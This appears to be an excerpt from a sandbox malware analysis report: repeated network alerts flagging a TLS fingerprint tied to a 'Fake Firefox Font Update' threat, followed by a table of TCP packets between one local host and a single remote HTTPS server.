2025-01-14T08:25:17.972623+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49786	166.62.27.188	443	TCP
2025-01-14T08:25:19.592300+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49799	166.62.27.188	443	TCP
2025-01-14T08:25:21.221630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49809	166.62.27.188	443	TCP
2025-01-14T08:25:22.840018+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49822	166.62.27.188	443	TCP
2025-01-14T08:25:24.591649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49835	166.62.27.188	443	TCP
2025-01-14T08:25:26.232730+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49847	166.62.27.188	443	TCP
2025-01-14T08:25:27.874388+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49860	166.62.27.188	443	TCP
2025-01-14T08:25:29.493433+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49871	166.62.27.188	443	TCP
2025-01-14T08:25:31.110157+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49884	166.62.27.188	443	TCP
2025-01-14T08:25:32.713974+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49895	166.62.27.188	443	TCP
2025-01-14T08:25:34.389067+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49906	166.62.27.188	443	TCP
2025-01-14T08:25:36.002641+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49919	166.62.27.188	443	TCP
2025-01-14T08:25:37.619233+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49932	166.62.27.188	443	TCP
2025-01-14T08:25:39.366946+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49944	166.62.27.188	443	TCP
2025-01-14T08:25:40.989375+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49958	166.62.27.188	443	TCP
2025-01-14T08:25:42.609774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49967	166.62.27.188	443	TCP
2025-01-14T08:25:44.255309+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49980	166.62.27.188	443	TCP
2025-01-14T08:25:45.878917+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49991	166.62.27.188	443	TCP
2025-01-14T08:25:47.475932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50004	166.62.27.188	443	TCP
2025-01-14T08:25:49.094571+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50018	166.62.27.188	443	TCP
2025-01-14T08:25:50.705630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50028	166.62.27.188	443	TCP
2025-01-14T08:25:52.339628+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50034	166.62.27.188	443	TCP
2025-01-14T08:25:53.961969+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50036	166.62.27.188	443	TCP
2025-01-14T08:25:55.588546+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50039	166.62.27.188	443	TCP
2025-01-14T08:25:57.219285+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50041	166.62.27.188	443	TCP
2025-01-14T08:25:58.821989+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50043	166.62.27.188	443	TCP
2025-01-14T08:26:00.617487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50045	166.62.27.188	443	TCP
2025-01-14T08:26:02.227696+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50047	166.62.27.188	443	TCP
2025-01-14T08:26:03.842523+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50049	166.62.27.188	443	TCP
2025-01-14T08:26:05.430865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50051	166.62.27.188	443	TCP
2025-01-14T08:26:07.041444+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50053	166.62.27.188	443	TCP
2025-01-14T08:26:08.626685+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50055	166.62.27.188	443	TCP
2025-01-14T08:26:10.271193+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50057	166.62.27.188	443	TCP
2025-01-14T08:26:11.881431+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50059	166.62.27.188	443	TCP
2025-01-14T08:26:13.495370+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50061	166.62.27.188	443	TCP
2025-01-14T08:26:15.086717+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50063	166.62.27.188	443	TCP
2025-01-14T08:26:16.712396+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50065	166.62.27.188	443	TCP
2025-01-14T08:26:18.338151+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50067	166.62.27.188	443	TCP
2025-01-14T08:26:19.945572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50069	166.62.27.188	443	TCP
2025-01-14T08:26:21.549741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50071	166.62.27.188	443	TCP
2025-01-14T08:26:23.156474+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50073	166.62.27.188	443	TCP
2025-01-14T08:26:24.799910+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50075	166.62.27.188	443	TCP
2025-01-14T08:26:26.408648+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50077	166.62.27.188	443	TCP
2025-01-14T08:26:28.002623+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50079	166.62.27.188	443	TCP
2025-01-14T08:26:29.636140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50081	166.62.27.188	443	TCP
2025-01-14T08:26:31.254306+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50083	166.62.27.188	443	TCP
2025-01-14T08:26:32.854019+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50085	166.62.27.188	443	TCP
2025-01-14T08:26:34.447966+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50087	166.62.27.188	443	TCP
2025-01-14T08:26:36.050441+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50089	166.62.27.188	443	TCP
2025-01-14T08:26:37.643543+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50091	166.62.27.188	443	TCP
2025-01-14T08:26:39.237291+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50093	166.62.27.188	443	TCP
2025-01-14T08:26:40.864699+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50095	166.62.27.188	443	TCP
2025-01-14T08:26:42.459649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50097	166.62.27.188	443	TCP
2025-01-14T08:26:44.067064+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50099	166.62.27.188	443	TCP
2025-01-14T08:26:45.681662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50101	166.62.27.188	443	TCP
2025-01-14T08:26:47.273324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50103	166.62.27.188	443	TCP
2025-01-14T08:26:48.876203+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50105	166.62.27.188	443	TCP
2025-01-14T08:26:50.475361+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50107	166.62.27.188	443	TCP
2025-01-14T08:26:52.082709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50109	166.62.27.188	443	TCP
2025-01-14T08:26:54.095013+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50111	166.62.27.188	443	TCP
2025-01-14T08:26:55.710527+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50113	166.62.27.188	443	TCP
2025-01-14T08:26:57.333061+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50115	166.62.27.188	443	TCP
2025-01-14T08:26:58.943766+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50117	166.62.27.188	443	TCP
2025-01-14T08:27:00.582790+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50119	166.62.27.188	443	TCP
2025-01-14T08:27:02.247995+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50121	166.62.27.188	443	TCP
2025-01-14T08:27:03.876625+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50123	166.62.27.188	443	TCP
2025-01-14T08:27:05.468383+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50125	166.62.27.188	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:25:01.707061052 CET	49705	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:01.707127094 CET	443	49705	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:01.707251072 CET	49705	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:01.724896908 CET	49705	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:01.725028992 CET	443	49705	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:01.725097895 CET	49705	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:01.802321911 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:01.802361965 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:01.802464008 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:01.804240942 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:01.804255962 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.113099098 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.113198996 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.117400885 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.117412090 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.117830992 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.161467075 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.209630013 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.255332947 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.538718939 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.538906097 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.539099932 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.551398039 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.551428080 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.551443100 CET	49706	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.551448107 CET	443	49706	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.680469990 CET	49707	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.680509090 CET	443	49707	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.680675030 CET	49707	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.680826902 CET	49707	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.680973053 CET	443	49707	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.681077957 CET	49707	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.683944941 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.683957100 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:03.684067965 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.684422970 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:03.684437990 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:04.605982065 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:04.606069088 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:04.607681036 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:04.607692957 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:04.608457088 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:04.610622883 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:04.651329994 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.202821016 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.203058004 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.203192949 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.205555916 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.205580950 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.205594063 CET	49708	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.205600977 CET	443	49708	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.374712944 CET	49709	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.374816895 CET	443	49709	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.374917030 CET	49709	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.377204895 CET	49709	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.377306938 CET	443	49709	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.377377987 CET	49709	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.420234919 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.420304060 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:05.420388937 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.420977116 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:05.421000004 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:06.321980953 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:06.322078943 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:06.324024916 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:06.324037075 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:06.324820042 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:06.326502085 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:06.367356062 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:06.903151035 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:06.903435946 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:06.903552055 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:06.903552055 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:06.903598070 CET	49710	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:06.903616905 CET	443	49710	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:07.044657946 CET	49717	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:07.044698954 CET	443	49717	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:07.045001030 CET	49717	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:07.045243025 CET	49717	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:07.045352936 CET	443	49717	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:07.045722008 CET	49717	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:07.077179909 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:07.077222109 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:07.077300072 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:07.078044891 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:07.078058958 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:07.971930981 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:07.972096920 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.008291006 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.008330107 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.008675098 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.018275023 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.059345007 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.550801039 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.550972939 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.551171064 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.551171064 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.551213980 CET	49718	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.551232100 CET	443	49718	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.681658030 CET	49727	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.681715012 CET	443	49727	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.681794882 CET	49727	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.681885958 CET	49727	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.681957006 CET	443	49727	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.682012081 CET	49727	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.715503931 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.715531111 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:08.715605974 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.716068029 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:08.716078997 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:09.616374969 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:09.616455078 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:09.619462013 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:09.619474888 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:09.619704962 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:09.621706963 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:09.667335033 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.202137947 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.202308893 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.202804089 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.202867031 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.202891111 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.202902079 CET	49728	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.202908039 CET	443	49728	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.340137959 CET	49737	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.340190887 CET	443	49737	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.340250969 CET	49737	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.340368986 CET	49737	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.340418100 CET	443	49737	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.340464115 CET	49737	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.343266010 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.343305111 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:10.343410015 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.344058037 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:10.344070911 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.252413988 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.252572060 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.256552935 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.256573915 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.256850958 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.258057117 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.303332090 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.846896887 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.846963882 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.847073078 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.847354889 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.847376108 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.847389936 CET	49738	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.847395897 CET	443	49738	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.982402086 CET	49749	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.982434034 CET	443	49749	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.982537031 CET	49749	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.982650042 CET	49749	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:11.982692957 CET	443	49749	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:11.982749939 CET	49749	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:12.010694027 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:12.010787010 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:12.010902882 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:12.011229992 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:12.011265039 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.028479099 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.028589010 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.030000925 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.030021906 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.030385017 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.031539917 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.075385094 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.623538971 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.623773098 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.623828888 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.625334978 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.625359058 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.625370026 CET	49750	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.625375032 CET	443	49750	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.753170967 CET	49761	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.753222942 CET	443	49761	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.753310919 CET	49761	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.753417969 CET	49761	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.753571987 CET	443	49761	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.753631115 CET	49761	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.756048918 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.756151915 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:13.756263971 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.756756067 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:13.756792068 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:14.685004950 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:14.685126066 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:14.687113047 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:14.687134981 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:14.687392950 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:14.688676119 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:14.731368065 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.282566071 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.282735109 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.282807112 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.282924891 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.282970905 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.283003092 CET	49762	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.283020020 CET	443	49762	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.410274029 CET	49772	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.410337925 CET	443	49772	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.410451889 CET	49772	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.410589933 CET	49772	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.410645962 CET	443	49772	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.410707951 CET	49772	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.413600922 CET	49773	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.413646936 CET	443	49773	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:15.413739920 CET	49773	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.414138079 CET	49773	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:15.414148092 CET	443	49773	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:16.337090969 CET	443	49773	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:16.337260008 CET	49773	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:16.338700056 CET	49773	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:16.338707924 CET	443	49773	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:16.338937044 CET	443	49773	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:16.340229034 CET	49773	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:25:16.383337021 CET	443	49773	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:16.932421923 CET	443	49773	166.62.27.188	192.168.2.10
Jan 14, 2025 08:25:16.932573080 CET	443	49773	166.62.27.188	192.168.2.10
